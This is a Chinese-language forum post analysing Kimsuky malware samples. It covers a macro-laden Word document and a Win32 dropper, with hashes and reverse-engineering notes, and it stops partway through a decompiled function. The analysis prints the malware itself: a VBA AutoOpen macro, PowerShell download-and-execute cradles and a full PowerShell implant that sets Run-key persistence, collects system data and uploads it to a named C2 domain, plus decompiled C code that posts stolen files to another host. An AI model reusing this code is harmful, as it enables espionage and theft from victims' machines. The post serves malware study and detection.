Kimsuky样本攻击手段分析
本帖最后由 Ginobili 于 2022-10-21 11:54 编辑# Kimsuky样本攻击手段分析
## 背景
Kimsuky最早由卡巴斯基于2013年公开披露并命名,攻击活动最早可追溯至2012年,是疑似具有东亚国家背景的APT组织。该组织主要攻击目标为韩国,涉及国防、教育、能源、政府、医疗以及智囊团等领域,以机密信息窃取为主。Kimsuky至今一直处于活跃状态,从2018年开始频繁开展了多起针对韩美两国特定领域人员的攻击活动。
本篇研究文章针对Kimsuky所使用的几个具有代表性的恶意软件样本进行分析,对Kimsuky组织所使用的常用攻击手段进行总结。
## 样本1
### 样本基本信息
样本放入threatbook云沙箱观察它的基本信息,发现这个样本源文件是韩文为标题的.doc文件,所以可以推测是宏病毒。
提取其样本基本信息:
| type | hash |
| :------ | ------------------------------------------------------------ |
| SHA256: | 1fcd9892532813a27537f4e1a1c21ec0c110d6b3929602750ed77bbba7caa426 |
| MD5: | 07d0be79be38ecb8c7b1c80ab0bd8344 |
| SHA1: | 3acfda840986f215bec88cefa0dfb34b44750508 |
### 样本分析
在threatbook中下载样本进行分析。下载下来的文件先更改一下文件名为.doc(这里解释一下,当将文件放入二进制编辑工具进行查看的时候发现存在PK标志,这其实是微软在Office 2007中推出的基于XML的文件格式,可以将后缀名改为.zip查看文件的结构。)尝试在office打开文件,打开一张图片提示我们打开宏,并且安全警告中提醒用户程序尝试执行宏指令被制止。所以基本可以推测这是攻击者用来引诱用户打开宏执行宏指令所伪造的主页面。
尝试打开宏,文件执行宏后出现了伪造的文档页面
按alt + f11进入VBA页面,打开宏发现程序被加密,这个加密是伪加密,有两种方法可以绕过密码打开宏代码
方法一:
使用二进制编辑工具打开样本,文本搜索"DPB",改为"DPX",保存后再次打开VBA页面可以读取代码
方法二:
使用oletools里的olevba工具提取宏代码,直接使用命令即可
```vb
olevba 0.60.1 on Python 3.8.5 - http://decalage.info/python/oletools
===============================================================================
FILE: .\1fcd9892532813a27537f4e1a1c21ec0c110d6b3929602750ed77bbba7caa426.doc
Type: OpenXML
WARNINGFor now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO tptkddlsjangkspdy.frm
in file: word/vbaProject.bin - OLE stream: 'VBA/tptkddlsjangkspdy'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: word/vbaProject.bin - OLE stream: 'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Function interface()
TmpEditPath = tptkddlsjangkspdy.Controls(Len("z")).Value
Set JsEditContent = tptkddlsjangkspdy.Controls(3 - 1 - 1 - 1)
Open Trim(TmpEditPath) For Output As #2
Print #2, JsEditContent.Text
Close #2
End Function
Sub AutoOpen()
delimage
interface
executeps
shlet
regpa
End Sub
Sub executeps()
d1 = "powershell.exe -ExecutionPolicy Bypass -noLogo $s=::ReadAllText('c:\windows\temp\bobo.txt');iex $s"
With CreateObject("WScript.Shell")
.Run d1, Left(Left(Mid("ingfbbamkodhqcwtpzhbcpxqaaigdjmoadch626463965207171466558669015372347853185123047524556333900563576839593172803245215818260", 47), 1), 1), False
End With
End Sub
Sub delimage()
Selection.Delete Unit:=wdCharacter, Count:=1
End Sub
Sub shlet()
Selection.WholeStory
With Selection.Font
.NameFarEast = "맑은 고딕"
.NameAscii = ""
.NameOther = ""
.Name = ""
.Hidden = False
End With
End Sub
Sub regpa()
With Selection.ParagraphFormat
.LeftIndent = CentimetersToPoints(2)
.SpaceBeforeAuto = True
.SpaceAfterAuto = True
End With
With Selection.ParagraphFormat
.RightIndent = CentimetersToPoints(2)
.SpaceBeforeAuto = True
.SpaceAfterAuto = True
End With
Selection.PageSetup.TopMargin = CentimetersToPoints(2.5)
Selection.PageSetup.BottomMargin = CentimetersToPoints(2.5)
End Sub
-------------------------------------------------------------------------------
VBA FORM STRING IN 'word/vbaProject.bin' - OLE stream: 'tptkddlsjangkspdy/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
IEX (New-Object System.Net.WebClient).DownloadString('http://mybobo.mygamesonline.org/flower01/flower01.ps1')ex
-------------------------------------------------------------------------------
VBA FORM STRING IN 'word/vbaProject.bin' - OLE stream: 'tptkddlsjangkspdy/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
C:\windows\temp\bobo.txt
-------------------------------------------------------------------------------
VBA FORM Variable "b'TextBox1'" IN 'word/vbaProject.bin' - OLE stream: 'tptkddlsjangkspdy'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
b"IEX (New-Object System.Net.WebClient).DownloadString('http://mybobo.mygamesonline.org/flower01/flower01.ps1')"
-------------------------------------------------------------------------------
VBA FORM Variable "b'TextBox2'" IN 'word/vbaProject.bin' - OLE stream: 'tptkddlsjangkspdy'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
b'C:\\windows\\temp\\bobo.txt'
+----------+--------------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+--------------------+---------------------------------------------+
|AutoExec|AutoOpen |Runs when the Word document is opened |
|Suspicious|Open |May open a file |
|Suspicious|Output |May write to a file (if combined with Open)|
|Suspicious|Print # |May write to a file (if combined with Open)|
|Suspicious|Shell |May run an executable file or a system |
| | |command |
|Suspicious|WScript.Shell |May run an executable file or a system |
| | |command |
|Suspicious|Run |May run an executable file or a system |
| | |command |
|Suspicious|powershell |May run PowerShell commands |
|Suspicious|ExecutionPolicy |May run PowerShell commands |
|Suspicious|CreateObject |May create an OLE object |
|Suspicious|New-Object |May create an OLE object using PowerShell |
|Suspicious|windows |May enumerate application windows (if |
| | |combined with Shell.Application object) |
|Suspicious|Net.WebClient |May download files from the Internet using |
| | |PowerShell |
|Suspicious|DownloadString |May download files from the Internet using |
| | |PowerShell |
|Suspicious|System |May run an executable file or a system |
| | |command on a Mac (if combined with |
| | |libc.dylib) |
|Suspicious|Hex Strings |Hex-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
|IOC |http://mybobo.mygame|URL |
| |sonline.org/flower01| |
| |/flower01.ps1' | |
|IOC |powershell.exe |Executable file name |
|IOC |flower01.ps1 |Executable file name |
+----------+--------------------+---------------------------------------------+
```
分析上面的宏代码,程序定义了几个函数,在executeps()中,程序使调用了powershell命令在c:\windows\temp\bobo.txt路径下创建一个文件:
```powershell
powershell.exe -ExecutionPolicy Bypass -noLogo $s=::ReadAllText('c:\windows\temp\bobo.txt');iex $s
```
为了验证猜想,打开火绒剑检测程序发现的确调用了powershell对文件进行了操作
找到文件对应的位置打开发现文件中被使用IEX写入了一段代码,代码中存在一个网址,目的访问网址下载对应的文件在当前文件夹
当我们再去访问连接的时候发现链接已经挂了。貌似就要在这里断了。。。。
想到可以直接从threatbook找到这个样本的生成文件直接下载下来就可以直接分析了。把flower01.ps1文件下载下来分析代码:
```php
$SERVER_ADDR = "http://mybobo.mygamesonline.org/flower01/"
$UP_URI = "post.php"
$upName = "flower01"
$LocalID = "flower01"
$LOG_FILENAME = "flower01.hwp"
$LOG_FILEPATH = "\flower01\"
$TIME_VALUE = 1000*60*60
$EXE = "rundll32.exe"
$MyfuncName = "Run"
$RegValueName = "Alzipupdate"//设置注册表值
$RegKey = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
$regValue = "cmd.exe /c powershell.exe -windowstyle hidden IEX (New-Object System.Net.WebClient).DownloadString('http://mybobo.mygamesonline.org/flower01/flower01.ps1')"
function decode($encstr)//单表加密操作
{
$key = ](0,2,4,3,3,6,4,5,7,6,7,0,5,5,4,3,5,4,3,7,0,7,6,2,6,2,4,6,7,2,4,7,5,5,7,0,7,3,3,3,7,3,3,1,4,2,3,7,0,2,7,7,3,5,1,0,1,4,0,5,0,0,0,0,7,5,1,4,5,4,2,0,6,1,4,7,5,0,1,0,3,0,3,1,3,5,1,2,5,0,1,7,1,4,6,0,2,3,3,4,2,5,2,5,4,5,7,3,1,0,1,6,4,1,1,2,1,4,1,5,4,2,7,4,5,1,6,4,6,3,6,4,5,0,3,6,4,0,1,6,3,3,5,7,0,5,7,7,2,5,2,7,7,4,7,5,5,0,5,6)
$len = $encstr.Length
$j = 0
$i = 0
$comletter = ""
while($i -lt $len)
{
$j = $j % 160
$asciidec = $encstr[$i] -bxor $key[$j]
$dec = $asciidec
$comletter += $dec
$j++
$i++
}
return $comletter
}
function UpLoadFunc($logpath)//上传函数
{
$Url = $SERVER_ADDR + $UP_URI//拼接成http://mybobo.mygamesonline.org/flower01/post.php
$bReturn = $True
$testpath = Test-Path $logpath
if($testpath -eq $False)
{
return $bReturn
}
$hexdata = ::ReadAllText($logpath)//读取路径文件中的数据
$encletter = decode $hexdata
$nEncLen = $encletter.Length
$LF = "`r`n"
$templen = 0x100000//限制最大长度
$sum = 0
do//构造和发送POST请求
{
$szOptional = ""
$pUploadData = ""
Start-Sleep -Milliseconds 100//设置时间
$readlen = $templen;
if (($nEncLen - $sum) -lt $templen)
{
$readlen = $nEncLen - $sum
}
if ($readlen -ne 0)
{
$pUploadData = $encletter + $sum
$sum += $readlen
}
else
{
$pUploadData += "ending"
$sum += 9
$readlen = 6
}
Start-Sleep -Milliseconds 1
$boundary = "----WebKitFormBoundarywhpFxMBe19cSjFnG"//KimSuky常用的协议
$ContentType = 'multipart/form-data; boundary=' + $boundary
$bodyLines = (
"--$boundary",
"Content-Disposition: form-data; name=`"MAX_FILE_SIZE`"$LF",
"10000000",
"--$boundary",
"Content-Disposition: form-data; name=`"userfile`"; filename=`"$upName`"",
"Content-Type: application/octet-stream$LF",
$pUploadData,
"--$boundary"
) -join $LF
Start-Sleep -Milliseconds 1
$psVersion = $PSVersionTable.PSVersion
$r = ::Create($Url)//创建POST 请求C2:http://mybobo.mygamesonline.org/flower01/post.php
$r.Method = "POST"
$r.UseDefaultCredentials = $true
$r.ContentType = $ContentType
$enc = ::UTF8
$data1 = $enc.GetBytes($bodyLines)
$r.ContentLength = $data1.Length
$newStream = $r.GetRequestStream()
$newStream.Write($data1, 0, $data1.Length)
$newStream.Close();
if($php_post -like "ok")
{
echo "UpLoad Success!!!"
}
else
{
echo "UpLoad Fail!!!"
$bReturn = $False
}
} while ($sum -le $nEncLen);
return $bReturn
}
function FileUploading($upPathName)//调用UpLoadFunc函数进行上传
{
$bRet = $True
$testpath = Test-Path $upPathName
if($testpath -eq $False)
{
return $bRet
}
$UpL = UpLoadFunc $upPathName
if($UpL -eq $False)
{
echo "UpLoad Fail!!!"
$bRet = $False
}
else
{
echo "Success!!!"
}
del $upPathName
return $bRet
}
function Download//下载文件到本地
{
$downname = $LocalID + ".down"//flower01.down
$delphppath = $SERVER_ADDR + "del.php"//http://mybobo.mygamesonline.org/flower01/del.php
$downpsurl = $SERVER_ADDR + $downname//http://mybobo.mygamesonline.org/flower01/flower01.down
$codestring = (New-Object System.Net.WebClient).DownloadString($downpsurl)
$comletter = decode $codestring//对数据进行加密
$decode = $executioncontext.InvokeCommand.NewScriptBlock($comletter)
$RunningJob = Get-Job -State Running
if($RunningJob.count -lt 3)
{
$JobName = $RunningJob.count + 1
Start-Job -ScriptBlock $decode -Name $JobName
}
else
{
$JobName = $RunningJob.count
Stop-Job -Name $RunningJob.Name
Remove-Job -Name $RunningJob.Name
Start-Job -ScriptBlock $decode -Name $JobName
}
$down_Server_path = $delphppath + "?filename=$LocalID"//http://mybobo.mygamesonline.org/flower01/del.php?filename=flower01.down访问链接
$response = ::Create($down_Server_path).GetResponse()//响应
$response.Close()
}
function Get_info($logpath)//获取路径下的文件信息
{
Get-ChildItem (::GetFolderPath("Recent")) >> $logpath
dir $env:ProgramFiles >> $logpath
dir "C:\Program Files (x86)" >> $logpath
systeminfo >> $logpath
tasklist >> $logpath
}
function main
{
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
$FilePath = $env:APPDATA + $LOG_FILEPATH//%APPDATA%/flower01/
New-Item -Path $FilePath -Type directory -Force
$szLogPath = $FilePath + $LOG_FILENAME//%APPDATA%/flower01//flower01.hwp预定义好的上传文件
$key = Get-Item -Path $RegKey//注册表值
$exists = $key.GetValueNames() -contains $RegValueName//注册表名
if($exists -eq $False)//是否存在注册表名为Alzipupdate
{
$value1 = New-ItemProperty -Path $RegKey -Name $RegValueName -Value $regValue//如果不存在设置名为是否存在注册表名为Alzipupdate的值为HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Get_info $szLogPath//获取计算机的基本信息
}
while ($true)//每隔10s上传收集到的信息
{
FileUploading $szLogPath
Start-Sleep -Milliseconds 10000
Download
Start-Sleep -Milliseconds 10000
Start-Sleep -Milliseconds $TIME_VALUE
}
}
main
```
具体的细节实现分析观察我在代码中对应程序的分析注释。下面大体描述一下样本程序的恶意行为:
### 样本行为
1.样本首先查找本机注册表是否存在值为Alzipupdate的项,如果没有创建这个项的自启动。
2.样本获取被攻击者计算机主机的相关信息,包括ProgramFiles下文件信息、Program File (x86)下文件信息、Systeminfo信息、Tasklist,并将它们写入预定义好的文件%APPDATA%/flower01//flower01.hwp里
3.样本访问C2 http://mybobo.mygamesonline[.]org/flower01/post.php 并将文件上传到C2地址,每10s执行一次。
### IOCs
## 样本2
### 样本基本信息
此样本的基本信息:
提取样本的基本信息:
| type | hash |
| :------ | ------------------------------------------------------------ |
| SHA256: | bfb8d13fcb64e3d09de2850b47d64492dbfc7bba58766546c1511f1fa59a64c9 |
| MD5: | adc39a303e9f77185758587875097bb6 |
| SHA1: | 134d9e732a33413519341e4947013e7c7e521415 |
### 样本分析
下面从逆向角度对样本进行分析。拿到样本发现是个win32位可执行程序(010editor的PE标志),拖入ida静态观察一下,程序载入就进入Winmain,Winmain函数如下:
```cpp
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
HMODULE v4; // eax
HMODULE v5; // edi
HRSRC v6; // esi
signed int v7; // ebx
HGLOBAL v8; // eax
__m128i *v10; // edi
char *v11; // esi
signed int v12; // edx
signed int v13; // ecx
__m128i *v14; // eax
int v15; // ebx
int v16; // esi
int v17; // edi
__m128i v18; // xmm0
char *v19; // ecx
int v20; // edi
int v21; // esi
char v22; // al
char *v23; // edi
HANDLE v25; // eax
void *v26; // edi
void *v27; // esi
DWORD NumberOfBytesWritten; // BYREF
__m128i *v29; //
int v30; //
int v31; //
int v32; //
LPCVOID lpBuffer; // BYREF
CHAR Buffer; // BYREF
if ( sub_404140() ) // 导入库、文件操作函数
{
if ( sub_4041D0() ) // 导入网络操作函数
{
v4 = LoadLibraryA("Advapi32.dll");
v5 = v4;
if ( v4 )
{
GetProcAddress(v4, "RegOpenKeyExA"); // 导入注册表操作函数
GetProcAddress(v5, "RegQueryValueExA");
GetProcAddress(v5, "RegSetValueExA");
GetProcAddress(v5, "RegCloseKey");
v6 = FindResourceA(0, 104, "JUYFON"); // 找到资源段JUYFON
v7 = SizeofResource(0, v6);
v32 = v7;
v8 = LoadResource(0, v6); // 导入资源段
if ( v8 )
{
v10 = LockResource(v8);
v29 = v10;
v11 = unknown_libname_1(v7);
v12 = 0;
lpBuffer = v11;
if ( v7 > 0 )
{
if ( v7 >= 0x20 && (v11 > &v10[-1].m128i_i8 || &v11 < v10) )
{
v13 = v7 - (v7 & 0x8000001F);
v14 = v10;
v31 = v11 - v10;
v15 = (v11 + 16);
v16 = v11 - v10;
v30 = v15;
v7 = v32;
v17 = v30;
do
{
v18 = *v14;
v14 += 2;
*(&v14[-2] + v16) = _mm_xor_si128(v18, xmmword_4193F0);
*(v17 + v12) = _mm_xor_si128(v14[-1], xmmword_4193F0);
v12 += 32;
}
while ( v12 < v13 );
v10 = v29;
v11 = lpBuffer;
}
if ( v12 < v7 )
{
v19 = &v11;
v20 = v10 - v11;
v21 = v7 - v12;
do // 对resource段解密
{
v22 = (v19++);
*(v19 - 1) = v22 ^ 0x7F; // 断点,生成shellcode
--v21;
}
while ( v21 );
}
}
memset(Buffer, 0, sizeof(Buffer));
GetTempPathA(0x104u, Buffer);
v23 = &lpBuffer + 3;
while ( *++v23 )
;
qmemcpy(v23, "4.[酒怕楷备]稠巩捧绊痹沥.docx", 0xD3u);// 给创建的文件命名
DeleteFileA(Buffer);
v25 = CreateFileA(Buffer, 0x40000000u, 0, 0, 4u, 0x80u, 0);// 创建文件
v26 = lpBuffer;
v27 = v25;
NumberOfBytesWritten = 0;
WriteFile(v25, lpBuffer, v7, &NumberOfBytesWritten, 0);
CloseHandle(v27);
j_j_j___free_base(v26);
Sleep(0xC8u);
ShellExecuteA(0, "open", Buffer, 0, 0, 5);// 打开生成的.docx操作
CreateThread(0, 0, StartAddress, 0, 0, 0);// 创建线程,执行StartAddress函数的内容
while ( 1 )
Sleep(0x2710u);
}
}
}
}
return 0;
}
```
程序开始在sub_404140()函数下导入了库、文件操作函数,在sub_4041D0()函数导入了网络函数,所以推测样本会对文件进行操作(例如读、写、创建文件等),也会对网络进行操作(例如访问某个网址,HTTP连接等)。后面导入注册表操作函数,然后是跟资源有关的函数,在这个地方程序导入了名称为"JUYFON"的资源表,使用PEView观察资源表的状况,存在这个资源表。后面多次嵌套if和do...while结构对资源端进行解密,解密出一个word类型程序在内存中
下面一段内容样本程序在本地Temp路径下创建一个word文档名称为“4.[酒怕楷备]稠巩捧绊痹沥.docx”。并且将内存内容写入文档里。
打开生成的word文档发现是朝鲜文,翻译一下发现这是针对韩国庆熙大学国际研究院的攻击。
开始推测以为文档可能有宏病毒,使用工具查一下发现没有宏。
最后程序使用CreateThread()函数创建了一个子线程,线程名称是StartAddress。线程的基本逻辑如下:
```cpp
void __stdcall __noreturn StartAddress(LPVOID lpThreadParameter)
{
CHAR pszPath; // BYREF
memset(pszPath, 0, sizeof(pszPath));
SHGetSpecialFolderPathA(0, pszPath, 26, 0);
lstrcatA(pszPath, "\\Microsoft\\HNC"); // 拼接路径
CreateDirectoryA(pszPath, 0);
GetShortPathNameA_0(pszPath, pszPath, 0x104u);
wsprintfA(FileName, "%s\\%s", pszPath, "wcl.docx");
wsprintfA(byte_41DBB8, "%s\\%s", pszPath, "tcf.bin");
sub_404250(); // Windows下命令行获取系统信息并写入wcl.docx文件中
Sleep(10000u);
sub_4049E0(); // 构造网络请求
while ( 1 )
{
sub_4045C0();
Sleep(0x1B7740u);
}
}
```
子线程拼接了一个本地路径"C:\Users\Anonymous\AppData\Roaming\Microsoft\HNC",同时试图创建两个文件"wcl.docx"和"tcf.bin"
后面的三个函数sub_404250()、sub_4049E0()、sub_4045C0()都比较关键,下面逐一进行分析:
#### sub_404250()
其代码逻辑如下:
```cpp
void sub_404250()
{
SHELLEXECUTEINFOA pExecInfo; // BYREF
CHAR v1; // BYREF
CHAR szLongPath; // BYREF
CHAR pszPath; // BYREF
CHAR Buffer; // BYREF
CHAR szShortPath; // BYREF
CHAR v6; // BYREF
memset(szShortPath, 0, sizeof(szShortPath));
memset(Buffer, 0, sizeof(Buffer));
memset(v6, 0, sizeof(v6));
if ( GetEnvironmentVariableA("COMSPEC", Buffer, 0x103u) )// cmd.exe文件路径:C:\\Windows\\system32\\cmd.exe
{
pExecInfo.lpVerb = "Open";
pExecInfo.lpFile = Buffer; // cmd文件路径
pExecInfo.cbSize = 60; // 长度
pExecInfo.hwnd = 0;
pExecInfo.lpDirectory = 0;
pExecInfo.fMask = 64;
pExecInfo.nShow = 0;
memset(pszPath, 0, sizeof(pszPath));
if ( SHGetSpecialFolderPathA(0, pszPath, 0, 0) )
{
GetShortPathNameA(pszPath, szShortPath, 0x104u);
wsprintfA(v6, "/c dir %s\\ >> %s", szShortPath, FileName);
pExecInfo.lpParameters = v6;
ShellExecuteExA(&pExecInfo); // 执行/c dir C:\Users\ANONYM~1\Desktop\ >> C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\HNC\wcl.docx生成docx文件
Sleep(3000u);
memset(szLongPath, 0, sizeof(szLongPath));
if ( SHGetSpecialFolderPathA(0, szLongPath, 8, 0) )
{
GetShortPathNameA(szLongPath, szShortPath, 0x104u);
wsprintfA(v6, "/c dir %s\\ >> %s", szShortPath, FileName);
pExecInfo.lpParameters = v6;
ShellExecuteExA(&pExecInfo);
Sleep(3000u);
memset(v1, 0, sizeof(v1)); // 执行/c dir C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\Windows\Recent\ >> C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\HNC\wcl.docx
if ( SHGetSpecialFolderPathA(0, v1, 38, 0) )
{
GetShortPathNameA(v1, szShortPath, 0x104u);
wsprintfA(v6, "/c dir %s\\ >> %s", szShortPath, FileName);// cmd /c是执行完命令之后关闭命令行窗口
pExecInfo.lpParameters = v6;
ShellExecuteExA(&pExecInfo);
Sleep(3000u);
wsprintfA(v6, "/c systeminfo >> %s", FileName);// /c systeminfo >> C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\HNC\wcl.docx
pExecInfo.lpParameters = v6;
ShellExecuteExA(&pExecInfo);
Sleep(0x1388u);
}
}
}
}
}
```
样本程序首先使用GetEnvironmentVariableA获取COMSPEC变量(也就是cmd.exe的文件路径),后面初始化使用shell需要的一些信息(例如文件路径、文件大小等参数)。再往下写入了三个shell,并且执行shell,作用是将宿主计算机信息存储在wcl.docx中:
/c dir C:\Users\ANONYM~1\Desktop\ >> C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\HNC\wcl.docx
/c dir C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\Windows\Recent\ >> C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\HNC\wcl.docx
/c dir C:\PROGRA~2\ >> C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\HNC\wcl.docx
/c systeminfo >> C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\HNC\wcl.docx
解释一下/c的意思是cmd打开命令行执行完命令之后直接退出,也就是命令执行的时候是不会进行弹出控制台程序的。
执行/c dir C:\Users\ANONYM~1\Desktop\ >> C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\HNC\wcl.docx
执行/c dir C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\Windows\Recent\ >> C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\HNC\wcl.docx
执行/c dir C:\PROGRA~2\ >> C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\HNC\wcl.docx
执行/c systeminfo >> C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\HNC\wcl.docx
打开生成的文件发现文件中存储着计算机的信息。
#### sub_4049E0()
这个函数用来构造网络请求,其程序逻辑如下:
```cpp
BOOL sub_4049E0()
{
FILE *v0; // eax
FILE *v1; // ebx
BOOL result; // eax
int v3; // eax
int v4; // eax
size_t v5; // esi
void *v6; // edi
size_t v7; // esi
void *v8; // esi
char *v9; // ebx
unsigned int v10; // edi
size_t v11; // esi
unsigned int v12; // edi
unsigned int v13; // edi
size_t v14; // esi
const char *v15; // ecx
char v16; // al
unsigned int v17; // kr00_4
char v18; // BYREF
char v19; // BYREF
int v20; //
__int16 v21; //
char v22; //
unsigned int v23; //
unsigned int v24; //
size_t Size; //
void *Src; //
int Value; // BYREF
v0 = fopen(FileName, "rb"); // C:\Users\ANONYM~1\AppData\Roaming\MICROS~1\HNC\wcl.docx
v1 = v0;
if ( v0 )
{
v3 = _fileno(v0);
v4 = _filelength(v3);
Value = v4;
if ( v4 )
{
v5 = v4 + 1;
v6 = unknown_libname_1(v4 + 1);
memset(v6, 0, v5);
fread(v6, 1u, Value, v1); // 读文件
fclose(v1);
v7 = Value + 5;
v23 = Value + 4;
Value = unknown_libname_1(Value + 5);
memset(Value, 0, v7);
*&v19 = 0i64;
v20 = 0;
v21 = 0;
v22 = 0;
strcpy(v19, "01234567abcdefgh");
sub_404020(Value, v19); // 加密或者操作
j_j_j___free_base(v6);
v8 = unknown_libname_1(0x100001u);
Src = v8;
v9 = unknown_libname_1(0x206590u);
v10 = 0;
while ( 1 )
{
Sleep(0x64u);
memset(v9, 0, 0x200514u);
memset(v8, 0, 0x100001u);
v11 = 0x100000;
Size = 0x100000;
if ( v23 - v10 < 0x100000 && (v11 = v23 - v10, Size = v23 - v10, v23 == v10) )
{
v12 = v10 + 9;
strcat(Src, "ending");
Size = 6;
}
else
{
memmove_0(Src, (v10 + Value), v11);
v12 = v11 + v10;
}
v24 = v12;
Sleep(1u);
strcat(v9, "\r\n------WebKitFormBoundarywhpFxMBe19cSjFnG");// 构造网络请求
strcat(v9, "\r\nContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"");
strcat(v9, "\r\n\r\n10000000");
strcat(v9, "\r\n------WebKitFormBoundarywhpFxMBe19cSjFnG");
strcat(v9, "\r\nContent-Disposition: form-data; name=\"userfile\"; filename=\"");
strcat(v9, "button01");
*&v9 = 34;
strcat(v9, "\r\nContent-Type: application/octet-stream\r\n\r\n");
v13 = strlen(v9);
v14 = Size;
memmove_0(&v9, Src, Size);
strcpy(v18, "\r\n------WebKitFormBoundarywhpFxMBe19cSjFnG");
memset(&v18, 0, 0xD9u);
v15 = "\r\n------WebKitFormBoundarywhpFxMBe19cSjFnG";
do
{
v16 = *v15++;
v9 = v16;
}
while ( v16 );
v17 = strlen(v18);
Sleep(1u);
if ( sub_404DD0(v9, Size + v17 + v13) == 1 )// POST函数
break;
v10 = v24;
if ( v24 > v23 )
break;
v8 = Src;
}
DeleteFileA(FileName);
GetLastError();
j_j_j___free_base(v9);
j_j_j___free_base(Src);
j_j_j___free_base(Value);
result = 0;
}
else
{
DeleteFileA(FileName);
result = 1;
}
}
else
{
Value = 0;
_get_errno(&Value);
result = Value == 2;
}
return result;
}
```
程序先打开了之前从生成的docx文件,后面使用了一串加密操作的代码或者函数,我也没具体分析,读入word之后传递给v9然后进行拼接了网络请求,最后将文件删除
构造网络请求
这个函数内还有一个函数sub_404DD0主要用来执行POST请求,发送的信息就是a1(相当于上一层函数里v9用来存储读入的信息)
```cpp
int __fastcall sub_404DD0(void *a1, DWORD a2)
{
int v2; // ebx
void *v3; // eax
void *v4; // esi
void *v5; // edi
int result; // eax
LPCSTR lpszAcceptTypes; // BYREF
HINTERNET hInternet; //
LPVOID lpOptional; //
DWORD dwOptionalLength; //
CHAR szHeaders; // BYREF
char v12; // BYREF
char v13; // BYREF
CHAR szAgent; // BYREF
__int128 v15; //
char v16; // BYREF
__int128 v17; //
v2 = 0;
dwOptionalLength = a2;
lpOptional = a1;
memset(szHeaders, 0, sizeof(szHeaders));
strcpy(v16, "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywhpFxMBe19cSjFnG");
v17 = 0i64;
strcpy(v12, "Accept-Language: en-us");
memset(v13, 0, sizeof(v13));
strcpy(szAgent, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322)");
lpszAcceptTypes = "*/*";
lpszAcceptTypes = 0;
v15 = 0i64;
wsprintfA(
szHeaders,
"Host: %s\r\nReferer: http://%s%s\r\n%s\r\n%s",
"pingguo2.atwebpages.com",
"pingguo2.atwebpages.com",
"home/jpg/post.php",
v16,
v12);
v3 = InternetOpenA(szAgent, 0, 0, 0, 0);
hInternet = v3;
if ( v3 )
{
v4 = InternetConnectA(v3, "pingguo2.atwebpages.com", 0, 0, 0, 3u, 0, 0);
if ( v4 )
{
v5 = HttpOpenRequestA(v4, "POST", "home/jpg/post.php", "HTTP/1.0", 0, lpszAcceptTypes, 0x84400000, 0);
if ( v5 )
{
if ( !HttpSendRequestA(v5, szHeaders, strlen(szHeaders), lpOptional, dwOptionalLength) )
{
GetLastError();
v2 = 1;
}
InternetCloseHandle(v5);
InternetCloseHandle(v4);
InternetCloseHandle(hInternet);
result = v2;
}
else
{
GetLastError();
InternetCloseHandle(v4);
InternetCloseHandle(hInternet);
result = 0;
}
}
else
{
GetLastError();
InternetCloseHandle(hInternet);
result = 0;
}
}
else
{
GetLastError();
result = 0;
}
return result;
}
```
#### sub_4045C0()
这部分函数发送HTTP请求,代码如下
```cpp
HANDLE sub_4045C0()
{
void *v0; // eax
void *v1; // edi
void *v2; // esi
void *v3; // eax
void *v4; // ebx
int v5; // ecx
_BYTE *v6; // esi
DWORD v8; // ecx
DWORD v9; // eax
HANDLE v10; // edx
DWORD v11; // eax
DWORD i; // ecx
HMODULE v13; // esi
void *v14; // edi
void *v15; // esi
HANDLE v16; // ebx
void *v17; // esi
HANDLE v18; // ebx
HANDLE v19; // ebx
HANDLE v20; // ebx
LPCSTR lpszAcceptTypes; // BYREF
HINTERNET v22; //
void *Block; //
HINTERNET hInternet; //
DWORD dwNumberOfBytesRead; // BYREF
HANDLE hFile; //
DWORD dwBufferLength; // BYREF
DWORD nNumberOfBytesToWrite; // BYREF
CHAR szObjectName; // BYREF
int Buffer; // BYREF
memset(szObjectName, 0, sizeof(szObjectName));
wsprintfA(szObjectName, "%s?filename=%s", "home/jpg/download.php", "button01");
lpszAcceptTypes = "*/*";
hFile = 0;
dwBufferLength = 0;
dwNumberOfBytesRead = 0;
nNumberOfBytesToWrite = 0;
lpszAcceptTypes = 0;
v0 = InternetOpenA("Mozilla/5.0", 0, 0, 0, 0);
v1 = v0;
v22 = v0;
if ( !v0 )
{
GetLastError();
return 0;
}
v2 = InternetConnectA(v0, "pingguo2.atwebpages.com", 0, 0, 0, 3u, 0, 0);// 访问pingguo2.atwebpages.com/home/jpg/download.php?filename=button01
hInternet = v2;
if ( !v2 )
{
GetLastError();
